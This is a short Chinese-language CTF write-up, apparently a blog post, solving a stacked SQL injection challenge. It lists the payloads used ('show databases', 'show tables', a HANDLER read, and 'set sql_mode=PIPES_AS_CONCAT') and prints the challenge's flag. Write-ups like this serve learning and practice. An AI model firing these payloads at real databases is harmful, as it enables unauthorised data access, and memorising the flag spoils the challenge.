参考:sql注入 堆叠注入_pipes_as_concat_shu天的博客-CSDN博客
打开后发现有输入框
输入1发现正常回显,2,3等非0数字也回显1的结果
再输入字符或其他符号,发现不再回显
猜测是数字型,那就先爆库看看
1;show databases;#
爆一下表
1;show tables;#
发现有Flag出现
尝试查询Flag
1;select columns from Flag;#
猜测有过滤,但是不知道过滤的是什么,先猜测过滤了select,用handler试试
1;handler Flag open as a;handler a read next;#
发现依旧错误,猜测是flag被过滤
回想到最初输入非0数字会回显1的结果,猜测可能有||符号
使用sql_mode=PIPES_AS_CONCAT 来将||从or的含义转换成连接操作符,从而达到输出flag 的目的
1;set sql_mode=PIPES_AS_CONCAT;select 1
注意这里的1是可以替换的
另外不能闭合,否则不会输出后面的内容
(即select 1之后就不执行后面的内容,即flag的内容了)
出现flag
flag{a7f05ffa-04b5-4cc1-811c-15a1724e6079}